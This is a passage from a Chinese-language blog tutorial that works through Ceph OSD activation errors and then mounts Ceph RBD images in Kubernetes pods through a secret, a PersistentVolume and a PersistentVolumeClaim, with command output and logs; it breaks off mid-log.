2016-11-04 14:25:40.325075 7fd1aa73f800 -1 ** ERROR: error creating empty object store in /var/local/osd0: (13) Permission denied [node1][WARNIN] [node1][ERROR ] RuntimeError: command returned non-zero exit status: 1 [ceph_deploy][ERROR ] RuntimeError: Failed to execute command: /usr/sbin/ceph-disk -v activate --mark-init upstart --mount /var/local/osd0 激活没能成功，在激活第一个节点时，就输出了如上错误日志。日志的error含义很明显：权限问题。\nceph-deploy尝试在osd node1上以ceph:ceph启动ceph-osd，但/var/local/osd0目录的权限情况如下：\n$ ls -l /var/local drwxr-sr-x 2 root staff 4096 Nov 4 14:25 osd0 osd0被root拥有，以ceph用户启动的ceph-osd程序自然没有权限在/var/local/osd0目录下创建文件并写入数据了。这个问题在ceph官方issue中有很多人提出来，也给出了临时修正方法：\n将osd0和osd1的权限赋予ceph:ceph： node1： sudo chown -R ceph:ceph /var/local/osd0 node2： sudo chown -R ceph:ceph /var/local/osd1 修改完权限后，我们再来执行activate：\n$ ceph-deploy osd activate node1:/var/local/osd0 node2:/var/local/osd1 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephd/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.35): /usr/bin/ceph-deploy osd activate node1:/var/local/osd0 node2:/var/local/osd1 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] subcommand : activate [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] cd_conf : \u0026lt;ceph_deploy.conf.cephdeploy.Conf instance at 0x7f3c90c678c0\u0026gt; [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] func : \u0026lt;function osd at 0x7f3c910bbd70\u0026gt; [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] disk : [('node1', '/var/local/osd0', None), ('node2', '/var/local/osd1', None)] [ceph_deploy.osd][DEBUG ] Activating cluster ceph disks node1:/var/local/osd0: node2:/var/local/osd1: [node1][DEBUG ] connection detected need for sudo [node1][DEBUG ] connected to host: node1 [node1][DEBUG ] detect platform information from remote host [node1][DEBUG ] detect machine type [node1][DEBUG ] find the location of an executable [node1][INFO ] Running command: sudo /sbin/initctl version [node1][DEBUG ] find the location of an executable [ceph_deploy.osd][INFO ] Distro info: Ubuntu 14.04 trusty [ceph_deploy.osd][DEBUG ] activating host node1 disk /var/local/osd0 [ceph_deploy.osd][DEBUG ] will use init type: upstart [node1][DEBUG ] find the location of an executable [node1][INFO ] Running command: sudo /usr/sbin/ceph-disk -v activate --mark-init upstart --mount /var/local/osd0 [node1][WARNIN] main_activate: path = /var/local/osd0 [node1][WARNIN] activate: Cluster uuid is f5166c78-e3b6-4fef-b9e7-1ecf7382fd93 [node1][WARNIN] command: Running command: /usr/bin/ceph-osd --cluster=ceph --show-config-value=fsid [node1][WARNIN] activate: Cluster name is ceph [node1][WARNIN] activate: OSD uuid is 6def4f7f-4f37-43a5-8699-5c6ab608c89c [node1][WARNIN] activate: OSD id is 0 [node1][WARNIN] activate: Initializing OSD... [node1][WARNIN] command_check_call: Running command: /usr/bin/ceph --cluster ceph --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring mon getmap -o /var/local/osd0/activate.monmap [node1][WARNIN] got monmap epoch 1 [node1][WARNIN] command: Running command: /usr/bin/timeout 300 ceph-osd --cluster ceph --mkfs --mkkey -i 0 --monmap /var/local/osd0/activate.monmap --osd-data /var/local/osd0 --osd-journal /var/local/osd0/journal --osd-uuid 6def4f7f-4f37-43a5-8699-5c6ab608c89c --keyring /var/local/osd0/keyring --setuser ceph --setgroup ceph [node1][WARNIN] activate: Marking with init system upstart [node1][WARNIN] activate: Authorizing OSD key... [node1][WARNIN] command_check_call: Running command: /usr/bin/ceph --cluster ceph --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring auth add osd.0 -i /var/local/osd0/keyring osd allow * mon allow profile osd [node1][WARNIN] added key for osd.0 [node1][WARNIN] command: Running command: /bin/chown -R ceph:ceph /var/local/osd0/active.4616.tmp [node1][WARNIN] activate: ceph osd.0 data dir is ready at /var/local/osd0 [node1][WARNIN] activate_dir: Creating symlink /var/lib/ceph/osd/ceph-0 -\u0026gt; /var/local/osd0 [node1][WARNIN] start_daemon: Starting ceph osd.0... [node1][WARNIN] command_check_call: Running command: /sbin/initctl emit --no-wait -- ceph-osd cluster=ceph id=0 [node1][INFO ] checking OSD status... [node1][DEBUG ] find the location of an executable [node1][INFO ] Running command: sudo /usr/bin/ceph --cluster=ceph osd stat --format=json [node1][WARNIN] there is 1 OSD down [node1][WARNIN] there is 1 OSD out [node2][DEBUG ] connection detected need for sudo [node2][DEBUG ] connected to host: node2 [node2][DEBUG ] detect platform information from remote host [node2][DEBUG ] detect machine type [node2][DEBUG ] find the location of an executable [node2][INFO ] Running command: sudo /sbin/initctl version [node2][DEBUG ] find the location of an executable [ceph_deploy.osd][INFO ] Distro info: Ubuntu 14.04 trusty [ceph_deploy.osd][DEBUG ] activating host node2 disk /var/local/osd1 [ceph_deploy.osd][DEBUG ] will use init type: upstart [node2][DEBUG ] find the location of an executable [node2][INFO ] Running command: sudo /usr/sbin/ceph-disk -v activate --mark-init upstart --mount /var/local/osd1 [node2][WARNIN] main_activate: path = /var/local/osd1 [node2][WARNIN] activate: Cluster uuid is f5166c78-e3b6-4fef-b9e7-1ecf7382fd93 [node2][WARNIN] command: Running command: /usr/bin/ceph-osd --cluster=ceph --show-config-value=fsid [node2][WARNIN] activate: Cluster name is ceph [node2][WARNIN] activate: OSD uuid is 4733f683-0376-4708-86a6-818af987ade2 [node2][WARNIN] allocate_osd_id: Allocating OSD id... [node2][WARNIN] command: Running command: /usr/bin/ceph --cluster ceph --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring osd create --concise 4733f683-0376-4708-86a6-818af987ade2 [node2][WARNIN] command: Running command: /bin/chown -R ceph:ceph /var/local/osd1/whoami.27470.tmp [node2][WARNIN] activate: OSD id is 1 [node2][WARNIN] activate: Initializing OSD... [node2][WARNIN] command_check_call: Running command: /usr/bin/ceph --cluster ceph --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring mon getmap -o /var/local/osd1/activate.monmap [node2][WARNIN] got monmap epoch 1 [node2][WARNIN] command: Running command: /usr/bin/timeout 300 ceph-osd --cluster ceph --mkfs --mkkey -i 1 --monmap /var/local/osd1/activate.monmap --osd-data /var/local/osd1 --osd-journal /var/local/osd1/journal --osd-uuid 4733f683-0376-4708-86a6-818af987ade2 --keyring /var/local/osd1/keyring --setuser ceph --setgroup ceph [node2][WARNIN] activate: Marking with init system upstart [node2][WARNIN] activate: Authorizing OSD key... [node2][WARNIN] command_check_call: Running command: /usr/bin/ceph --cluster ceph --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring auth add osd.1 -i /var/local/osd1/keyring osd allow * mon allow profile osd [node2][WARNIN] added key for osd.1 [node2][WARNIN] command: Running command: /bin/chown -R ceph:ceph /var/local/osd1/active.27470.tmp [node2][WARNIN] activate: ceph osd.1 data dir is ready at /var/local/osd1 [node2][WARNIN] activate_dir: Creating symlink /var/lib/ceph/osd/ceph-1 -\u0026gt; /var/local/osd1 [node2][WARNIN] start_daemon: Starting ceph osd.1... [node2][WARNIN] command_check_call: Running command: /sbin/initctl emit --no-wait -- ceph-osd cluster=ceph id=1 [node2][INFO ] checking OSD status... [node2][DEBUG ] find the location of an executable [node2][INFO ] Running command: sudo /usr/bin/ceph --cluster=ceph osd stat --format=json 没有错误报出！但OSD真的运行起来了吗？我们还需要再确认一下。\n我们先通过ceph admin命令将各个.keyring同步到各个Node上，以便可以在各个Node上使用ceph命令连接到monitor：\n注意：执行ceph admin前，需要在deploy-node的/etc/hosts中添加：\n10.47.136.60 admin 执行ceph admin:\n$ ceph-deploy admin admin node1 node2 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephd/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.35): /usr/bin/ceph-deploy admin admin node1 node2 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] cd_conf : \u0026lt;ceph_deploy.conf.cephdeploy.Conf instance at 0x7f072ee3b758\u0026gt; [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] client : ['admin', 'node1', 'node2'] [ceph_deploy.cli][INFO ] func : \u0026lt;function admin at 0x7f072f6cf5f0\u0026gt; [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.admin][DEBUG ] Pushing admin keys and conf to admin [admin][DEBUG ] connection detected need for sudo [admin][DEBUG ] connected to host: admin [admin][DEBUG ] detect platform information from remote host [admin][DEBUG ] detect machine type [admin][DEBUG ] find the location of an executable [admin][INFO ] Running command: sudo /sbin/initctl version [admin][DEBUG ] write cluster configuration to /etc/ceph/{cluster}.conf [ceph_deploy.admin][DEBUG ] Pushing admin keys and conf to node1 [node1][DEBUG ] connection detected need for sudo [node1][DEBUG ] connected to host: node1 [node1][DEBUG ] detect platform information from remote host [node1][DEBUG ] detect machine type [node1][DEBUG ] find the location of an executable [node1][INFO ] Running command: sudo /sbin/initctl version [node1][DEBUG ] write cluster configuration to /etc/ceph/{cluster}.conf [ceph_deploy.admin][DEBUG ] Pushing admin keys and conf to node2 [node2][DEBUG ] connection detected need for sudo [node2][DEBUG ] connected to host: node2 [node2][DEBUG ] detect platform information from remote host [node2][DEBUG ] detect machine type [node2][DEBUG ] find the location of an executable [node2][INFO ] Running command: sudo /sbin/initctl version [node2][DEBUG ] write cluster configuration to /etc/ceph/{cluster}.conf $sudo chmod +r /etc/ceph/ceph.client.admin.keyring 接下来，查看一下ceph集群中的OSD节点状态：\n$ ceph osd tree ID WEIGHT TYPE NAME UP/DOWN REWEIGHT PRIMARY-AFFINITY -1 0.07660 root default -2 0.03830 host node1 0 0.03830 osd.0 down 0 1.00000 -3 0.03830 host iZ25mjza4msZ 1 0.03830 osd.1 down 0 1.00000 果不其然，两个osd节点均处于down状态，一个也没有启动起来。问题在哪？\n我们来查看一下node1上的日志：/var/log/ceph/ceph-osd.0.log：\n016-11-04 15:33:17.088971 7f568d6db800 0 pidfile_write: ignore empty --pid-file 2016-11-04 15:33:17.102052 7f568d6db800 0 filestore(/var/lib/ceph/osd/ceph-0) backend generic (magic 0xef53) 2016-11-04 15:33:17.102071 7f568d6db800 -1 filestore(/var/lib/ceph/osd/ceph-0) WARNING: max attr value size (1024) is smaller than osd_max_object_name_len (2048). Your backend filesystem appears to not support attrs large enough to handle the configured max rados name size. You may get unexpected ENAMETOOLONG errors on rados operations or buggy behavior 2016-11-04 15:33:17.102410 7f568d6db800 0 genericfilestorebackend(/var/lib/ceph/osd/ceph-0) detect_features: FIEMAP ioctl is disabled via 'filestore fiemap' config option 2016-11-04 15:33:17.102425 7f568d6db800 0 genericfilestorebackend(/var/lib/ceph/osd/ceph-0) detect_features: SEEK_DATA/SEEK_HOLE is disabled via 'filestore seek data hole' config option 2016-11-04 15:33:17.102445 7f568d6db800 0 genericfilestorebackend(/var/lib/ceph/osd/ceph-0) detect_features: splice is supported 2016-11-04 15:33:17.119261 7f568d6db800 0 genericfilestorebackend(/var/lib/ceph/osd/ceph-0) detect_features: syncfs(2) syscall fully supported (by glibc and kernel) 2016-11-04 15:33:17.127630 7f568d6db800 0 filestore(/var/lib/ceph/osd/ceph-0) limited size xattrs 2016-11-04 15:33:17.128125 7f568d6db800 1 leveldb: Recovering log #38 2016-11-04 15:33:17.136595 7f568d6db800 1 leveldb: Delete type=3 #37 2016-11-04 15:33:17.136656 7f568d6db800 1 leveldb: Delete type=0 #38 2016-11-04 15:33:17.136845 7f568d6db800 0 filestore(/var/lib/ceph/osd/ceph-0) mount: enabling WRITEAHEAD journal mode: checkpoint is not enabled 2016-11-04 15:33:17.137064 7f568d6db800 -1 journal FileJournal::_open: disabling aio for non-block journal. Use journal_force_aio to force use of aio anyway 2016-11-04 15:33:17.137068 7f568d6db800 1 journal _open /var/lib/ceph/osd/ceph-0/journal fd 18: 5368709120 bytes, block size 4096 bytes, directio = 1, aio = 0 2016-11-04 15:33:17.137897 7f568d6db800 1 journal _open /var/lib/ceph/osd/ceph-0/journal fd 18: 5368709120 bytes, block size 4096 bytes, directio = 1, aio = 0 2016-11-04 15:33:17.138243 7f568d6db800 1 filestore(/var/lib/ceph/osd/ceph-0) upgrade 2016-11-04 15:33:17.138453 7f568d6db800 -1 osd.0 0 backend (filestore) is unable to support max object name[space] len 2016-11-04 15:33:17.138481 7f568d6db800 -1 osd.0 0 osd max object name len = 2048 2016-11-04 15:33:17.138485 7f568d6db800 -1 osd.0 0 osd max object namespace len = 256 2016-11-04 15:33:17.138488 7f568d6db800 -1 osd.0 0 (36) File name too long 2016-11-04 15:33:17.138895 7f568d6db800 1 journal close /var/lib/ceph/osd/ceph-0/journal 2016-11-04 15:33:17.140041 7f568d6db800 -1 ** ERROR: osd init failed: (36) File name too long 的确发现了错误日志：\n2016-11-04 15:33:17.138481 7f568d6db800 -1 osd.0 0 osd max object name len = 2048 2016-11-04 15:33:17.138485 7f568d6db800 -1 osd.0 0 osd max object namespace len = 256 2016-11-04 15:33:17.138488 7f568d6db800 -1 osd.0 0 (36) File name too long 2016-11-04 15:33:17.138895 7f568d6db800 1 journal close /var/lib/ceph/osd/ceph-0/journal 2016-11-04 15:33:17.140041 7f568d6db800 -1 ** ERROR: osd init failed: (36) File name too long 进一步搜索ceph官方文档，发现在文件系统推荐这个doc中有提到，官方不建议采用ext4文件系统作为ceph的后端文件系统，如果采用，那么对于ext4的filesystem，应该在ceph.conf中添加如下配置：\nosd max object name len = 256 osd max object namespace len = 64 由于配置已经分发到个个node上，我们需要到各个Node上同步修改：/etc/ceph/ceph.conf，添加上面两行。然后重新activate osd node，这里不赘述。重新激活后，我们来查看ceph osd状态：\n$ ceph osd tree ID WEIGHT TYPE NAME UP/DOWN REWEIGHT PRIMARY-AFFINITY -1 0.07660 root default -2 0.03830 host node1 0 0.03830 osd.0 up 1.00000 1.00000 -3 0.03830 host iZ25mjza4msZ 1 0.03830 osd.1 up 1.00000 1.00000 $ceph -s cluster f5166c78-e3b6-4fef-b9e7-1ecf7382fd93 health HEALTH_OK monmap e1: 1 mons at {node1=10.47.136.60:6789/0} election epoch 3, quorum 0 node1 osdmap e11: 2 osds: 2 up, 2 in flags sortbitwise pgmap v29: 64 pgs, 1 pools, 0 bytes data, 0 objects 37834 MB used, 38412 MB / 80374 MB avail 64 active+clean $ !ps ps -ef|grep ceph ceph 17139 1 0 16:20 ? 00:00:00 /usr/bin/ceph-osd --cluster=ceph -i 0 -f --setuser ceph --setgroup ceph 可以看到ceph osd节点上的ceph-osd启动正常，cluster 状态为active+clean，至此，Ceph Cluster集群安装ok（我们暂不需要Ceph MDS组件）。\n四、创建一个使用Ceph RBD作为后端Volume的Pod 在这一节中，我们就要将Ceph RBD与Kubenetes做集成了。Kubernetes的官方源码的examples/volumes/rbd目录下，就有一个使用cephrbd作为kubernetes pod volume的例子，我们试着将其跑起来。\n例子提供了两个pod描述文件：rbd.json和rbd-with-secret.json。由于我们在ceph install时在ceph.conf中使用默认的安全验证协议cephx – The Ceph authentication protocol了：\nauth_cluster_required = cephx auth_service_required = cephx auth_client_required = cephx 因此我们将采用rbd-with-secret.json这个pod描述文件来创建例子中的Pod，限于篇幅，这里仅节选json文件中的volumes部分：\n//例子中的rbd-with-secret.json { ... ... \u0026quot;volumes\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;rbdpd\u0026quot;, \u0026quot;rbd\u0026quot;: { \u0026quot;monitors\u0026quot;: [ \u0026quot;10.16.154.78:6789\u0026quot;, \u0026quot;10.16.154.82:6789\u0026quot;, \u0026quot;10.16.154.83:6789\u0026quot; ], \u0026quot;pool\u0026quot;: \u0026quot;kube\u0026quot;, \u0026quot;image\u0026quot;: \u0026quot;foo\u0026quot;, \u0026quot;user\u0026quot;: \u0026quot;admin\u0026quot;, \u0026quot;secretRef\u0026quot;: { \u0026quot;name\u0026quot;: \u0026quot;ceph-secret\u0026quot; }, \u0026quot;fsType\u0026quot;: \u0026quot;ext4\u0026quot;, \u0026quot;readOnly\u0026quot;: true } } ] } } volumes部分是和ceph rbd紧密相关的一些信息，各个字段的大致含义如下：\nname：volume名字，这个没什么可说的，顾名思义即可。\nrbd.monitors：前面提到过ceph集群的monitor组件，这里填写monitor组件的通信信息，集群里有几个monitor就填几个；\nrbd.pool：Ceph中的pool记号，它用来给ceph中存储的对象进行逻辑分区用的。默认的pool是”rbd”；\nrbd.image：Ceph磁盘块设备映像文件；\nrbd.user：ceph client访问ceph storage cluster所使用的用户名。ceph有自己的一套user管理系统，user的写法通常是TYPE.ID，比如client.admin（是不是想到对应的文件：ceph.client.admin.keyring）。client是一种type，而admin则是user。一般来说，Type基本都是client。\nsecret.Ref：引用的k8s secret对象名称。\n上面的字段中，有两个字段值我们无法提供：rbd.image和secret.Ref，现在我们就来“填空”。我们在root用户下建立k8s-cephrbd工作目录，我们首先需要使用ceph提供的rbd工具创建Pod要用到image：\n# rbd create foo -s 1024 # rbd list foo 我们在rbd pool中(在上述命令中未指定pool name，默认image建立在rbd pool中)创建一个大小为1024Mi的ceph image foo，rbd list命令的输出告诉我们foo image创建成功。接下来，我们尝试将foo image映射到内核，并格式化该image：\nroot@node1:~# rbd map foo rbd: sysfs write failed RBD image feature set mismatch. You can disable features unsupported by the kernel with \u0026quot;rbd feature disable\u0026quot;. In some cases useful info is found in syslog - try \u0026quot;dmesg | tail\u0026quot; or so. rbd: map failed: (6) No such device or address map操作报错。不过从错误提示信息，我们能找到一些蛛丝马迹：“RBD image feature set mismatch”。ceph新版中在map image时，给image默认加上了许多feature，通过rbd info可以查看到：\n# rbd info foo rbd image 'foo': size 1024 MB in 256 objects order 22 (4096 kB objects) block_name_prefix: rbd_data.10612ae8944a format: 2 features: layering, exclusive-lock, object-map, fast-diff, deep-flatten flags: 可以看到foo image拥有： layering, exclusive-lock, object-map, fast-diff, deep-flatten。不过遗憾的是我的Ubuntu 14.04的3.19内核仅支持其中的layering feature，其他feature概不支持。我们需要手动disable这些features：\n# rbd feature disable foo exclusive-lock, object-map, fast-diff, deep-flatten root@node1:/var/log/ceph# rbd info foo rbd image 'foo': size 1024 MB in 256 objects order 22 (4096 kB objects) block_name_prefix: rbd_data.10612ae8944a format: 2 features: layering flags: 不过每次这么来disable可是十分麻烦的，一劳永逸的方法是在各个cluster node的/etc/ceph/ceph.conf中加上这样一行配置：\nrbd_default_features = 1 #仅是layering对应的bit码所对应的整数值 设置完后，通过下面命令查看配置变化：\n# ceph --show-config|grep rbd|grep features rbd_default_features = 1 关于image features的这个问题，zphj1987的这篇文章中有较为详细的讲解。\n我们再来map一下foo这个image：\n# rbd map foo /dev/rbd0 # ls -l /dev/rbd0 brw-rw---- 1 root disk 251, 0 Nov 5 10:33 /dev/rbd0 map后，我们就可以像格式化一个空image那样对其进行格式化了，这里格成ext4文件系统（格式化这一步大可不必，在后续小节中你会看到）：\n# mkfs.ext4 /dev/rbd0 mke2fs 1.42.9 (4-Feb-2014) Discarding device blocks: done Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) Stride=1024 blocks, Stripe width=1024 blocks 65536 inodes, 262144 blocks 13107 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=268435456 8 block groups 32768 blocks per group, 32768 fragments per group 8192 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376 Allocating group tables: done Writing inode tables: done Creating journal (8192 blocks): done Writing superblocks and filesystem accounting information: done 接下来我们来创建ceph-secret这个k8s secret对象，这个secret对象用于k8s volume插件访问ceph集群：\n获取client.admin的keyring值，并用base64编码：\n# ceph auth get-key client.admin AQBiKBxYuPXiJRAAsupnTBsURoWzb0k00oM3iQ== # echo \u0026quot;AQBiKBxYuPXiJRAAsupnTBsURoWzb0k00oM3iQ==\u0026quot;|base64 QVFCaUtCeFl1UFhpSlJBQXN1cG5UQnNVUm9XemIwazAwb00zaVE9PQo= 在k8s-cephrbd下建立ceph-secret.yaml文件，data下的key字段值即为上面得到的编码值：\n//ceph-secret.yaml apiVersion: v1 kind: Secret metadata: name: ceph-secret data: key: QVFCaUtCeFl1UFhpSlJBQXN1cG5UQnNVUm9XemIwazAwb00zaVE9PQo= 创建ceph-secret：\n# kubectl create -f ceph-secret.yaml secret \u0026quot;ceph-secret\u0026quot; created # kubectl get secret NAME TYPE DATA AGE ceph-secret Opaque 1 16s 至此，我们的rbd-with-secret.json全貌如下：\n{ \u0026quot;apiVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;kind\u0026quot;: \u0026quot;Pod\u0026quot;, \u0026quot;metadata\u0026quot;: { \u0026quot;name\u0026quot;: \u0026quot;rbd2\u0026quot; }, \u0026quot;spec\u0026quot;: { \u0026quot;containers\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;rbd-rw\u0026quot;, \u0026quot;image\u0026quot;: \u0026quot;kubernetes/pause\u0026quot;, \u0026quot;volumeMounts\u0026quot;: [ { \u0026quot;mountPath\u0026quot;: \u0026quot;/mnt/rbd\u0026quot;, \u0026quot;name\u0026quot;: \u0026quot;rbdpd\u0026quot; } ] } ], \u0026quot;volumes\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;rbdpd\u0026quot;, \u0026quot;rbd\u0026quot;: { \u0026quot;monitors\u0026quot;: [ \u0026quot;10.47.136.60:6789\u0026quot; ], \u0026quot;pool\u0026quot;: \u0026quot;rbd\u0026quot;, \u0026quot;image\u0026quot;: \u0026quot;foo\u0026quot;, \u0026quot;user\u0026quot;: \u0026quot;admin\u0026quot;, \u0026quot;secretRef\u0026quot;: { \u0026quot;name\u0026quot;: \u0026quot;ceph-secret\u0026quot; }, \u0026quot;fsType\u0026quot;: \u0026quot;ext4\u0026quot;, \u0026quot;readOnly\u0026quot;: true } } ] } } 基于该Pod描述文件，创建使用cephrbd作为后端存储的pod：\n# kubectl create -f rbd-with-secret.json pod \u0026quot;rbd2\u0026quot; created # kubectl get pod NAME READY STATUS RESTARTS AGE rbd2 1/1 Running 0 16s # rbd showmapped id pool image snap device 0 rbd foo - /dev/rbd0 # mount ... ... /dev/rbd0 on /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/rbd-image-foo type ext4 (rw) 在我的环境中，pod实际被调度到了另外一个k8s node上运行了：\npod被调度到另外一个 node2 上：\n# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 32f92243f911 kubernetes/pause \u0026quot;/pause\u0026quot; 2 minutes ago Up 2 minutes k8s_rbd-rw.c1dc309e_rbd2_default_6b6541b9-a306-11e6-ba01-00163e1625a9_a6bb1b20 #docker inspect 32f92243f911 ... ... \u0026quot;Mounts\u0026quot;: [ { \u0026quot;Source\u0026quot;: \u0026quot;/var/lib/kubelet/pods/6b6541b9-a306-11e6-ba01-00163e1625a9/volumes/kubernetes.io~secret/default-token-40z0x\u0026quot;, \u0026quot;Destination\u0026quot;: \u0026quot;/var/run/secrets/kubernetes.io/serviceaccount\u0026quot;, \u0026quot;Mode\u0026quot;: \u0026quot;ro\u0026quot;, \u0026quot;RW\u0026quot;: false, \u0026quot;Propagation\u0026quot;: \u0026quot;rprivate\u0026quot; }, { \u0026quot;Source\u0026quot;: \u0026quot;/var/lib/kubelet/pods/6b6541b9-a306-11e6-ba01-00163e1625a9/etc-hosts\u0026quot;, \u0026quot;Destination\u0026quot;: \u0026quot;/etc/hosts\u0026quot;, \u0026quot;Mode\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;RW\u0026quot;: true, \u0026quot;Propagation\u0026quot;: \u0026quot;rprivate\u0026quot; }, { \u0026quot;Source\u0026quot;: \u0026quot;/var/lib/kubelet/pods/6b6541b9-a306-11e6-ba01-00163e1625a9/containers/rbd-rw/a6bb1b20\u0026quot;, \u0026quot;Destination\u0026quot;: \u0026quot;/dev/termination-log\u0026quot;, \u0026quot;Mode\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;RW\u0026quot;: true, \u0026quot;Propagation\u0026quot;: \u0026quot;rprivate\u0026quot; }, { \u0026quot;Source\u0026quot;: \u0026quot;/var/lib/kubelet/pods/6b6541b9-a306-11e6-ba01-00163e1625a9/volumes/kubernetes.io~rbd/rbdpd\u0026quot;, \u0026quot;Destination\u0026quot;: \u0026quot;/mnt/rbd\u0026quot;, \u0026quot;Mode\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;RW\u0026quot;: true, \u0026quot;Propagation\u0026quot;: \u0026quot;rprivate\u0026quot; } ], ... ... 五、Kubernetes Persistent Volume和Persistent Volume Claim 上面一小节讲解了Kubernetes volume与Ceph RBD的结合，但是k8s volume还不能完全满足实际生产过程对持久化存储的需求，因为k8s volume的lifetime和pod的生命周期相同，一旦pod被delete，那么volume中的数据就不复存在了。于是k8s又推出了Persistent Volume(PV)和Persistent Volume Claim(PVC)组合，故名思意：即便挂载其的pod被delete了，PV依旧存在，PV上的数据依旧存在。\n由于有了之前的“铺垫”，这里仅仅给出使用PV和PVC的步骤：\n1、创建disk image $ rbd create ceph-image -s 128 #考虑后续format快捷，这里只用了128M，仅适用于Demo哦。\n# rbd create ceph-image -s 128 # rbd info rbd/ceph-image rbd image 'ceph-image': size 128 MB in 32 objects order 22 (4096 kB objects) block_name_prefix: rbd_data.37202ae8944a format: 2 features: layering flags: 如果这里不先创建一个ceph-image，后续Pod启动时，会出现如下的一些错误，比如pod始终处于ContainerCreating状态：\n# kubectl get pod NAME READY STATUS RESTARTS AGE ceph-pod1 0/1 ContainerCreating 0 13s 如果出现这种错误情况，可以查看/var/log/upstart/kubelet.log，你也许能看到如下错误信息：\nI1107 06:02:27.500247 22037 operation_executor.go:768] MountVolume.SetUp succeeded for volume \u0026quot;kubernetes.io/secret/01d049c6-9430-11e6-ba01-00163e1625a9-default-token-40z0x\u0026quot; (spec.Name: \u0026quot;default-token-40z0x\u0026quot;) pod \u0026quot;01d049c6-9430-11e6-ba01-00163e1625a9\u0026quot; (UID: \u0026quot;01d049c6-9430-11e6-ba01-00163e1625a9\u0026quot;). I1107 06:03:08.499628 22037 reconciler.go:294] MountVolume operation started for volume \u0026quot;kubernetes.io/rbd/ea848a49-a46b-11e6-ba01-00163e1625a9-ceph-pv\u0026quot; (spec.Name: \u0026quot;ceph-pv\u0026quot;) to pod \u0026quot;ea848a49-a46b-11e6-ba01-00163e1625a9\u0026quot; (UID: \u0026quot;ea848a49-a46b-11e6-ba01-00163e1625a9\u0026quot;). E1107 06:03:09.532348 22037 disk_manager.go:56] failed to attach disk E1107 06:03:09.532402 22037 rbd.go:228] rbd: failed to setup mount /var/lib/kubelet/pods/ea848a49-a46b-11e6-ba01-00163e1625a9/volumes/kubernetes.io~rbd/ceph-pv rbd: map failed exit status 2 rbd: sysfs write failed In some cases useful info is found in syslog - try \u0026quot;dmesg | tail\u0026quot; or so. rbd: map failed: (2) No such file or directory 2、创建PV 我们直接复用之前创建的ceph-secret对象，PV的描述文件ceph-pv.yaml如下：\napiVersion: v1 kind: PersistentVolume metadata: name: ceph-pv spec: capacity: storage: 1Gi accessModes: - ReadWriteOnce rbd: monitors: - 10.47.136.60:6789 pool: rbd image: ceph-image user: admin secretRef: name: ceph-secret fsType: ext4 readOnly: false persistentVolumeReclaimPolicy: Recycle 执行创建操作：\n# kubectl create -f ceph-pv.yaml persistentvolume \u0026quot;ceph-pv\u0026quot; created # kubectl get pv NAME CAPACITY ACCESSMODES RECLAIMPOLICY STATUS CLAIM REASON AGE ceph-pv 1Gi RWO Recycle Available 7s 3、创建PVC pvc是Pod对Pv的请求，将请求做成一种资源，便于管理以及pod复用。我们用到的pvc描述文件ceph-pvc.yaml如下：\nkind: PersistentVolumeClaim apiVersion: v1 metadata: name: ceph-claim spec: accessModes: - ReadWriteOnce resources: requests: storage: 1Gi 执行创建操作：\n# kubectl create -f ceph-pvc.yaml persistentvolumeclaim \u0026quot;ceph-claim\u0026quot; created # kubectl get pvc NAME STATUS VOLUME CAPACITY ACCESSMODES AGE ceph-claim Bound ceph-pv 1Gi RWO 12s 4、创建挂载ceph RBD的pod pod描述文件ceph-pod1.yaml如下：\napiVersion: v1 kind: Pod metadata: name: ceph-pod1 spec: containers: - name: ceph-busybox1 image: busybox command: [\u0026quot;sleep\u0026quot;, \u0026quot;600000\u0026quot;] volumeMounts: - name: ceph-vol1 mountPath: /usr/share/busybox readOnly: false volumes: - name: ceph-vol1 persistentVolumeClaim: claimName: ceph-claim 创建pod操作：\n# kubectl create -f ceph-pod1.yaml pod \u0026quot;ceph-pod1\u0026quot; created # kubectl get pod NAME READY STATUS RESTARTS AGE ceph-pod1 0/1 ContainerCreating 0 13s Pod还处于ContainerCreating状态。pod的创建，尤其是挂载pv的Pod的创建需要一小段时间，耐心等待一下，我们可以查看一下/var/log/upstart/kubelet.log：\nI1107 11:44:38.768541 22037 mount_linux.go:272] `fsck` error fsck from util-linux 2.20.1 fsck.ext2: Bad magic number in super-block while trying to open /dev/rbd1 /dev/rbd1: The superblock could not be read or does not describe a valid ext2/ext3/ext4 filesystem. If the device is valid and it really contains an ext2/ext3/ext4 filesystem (and not swap or ufs or something else), then the superblock is 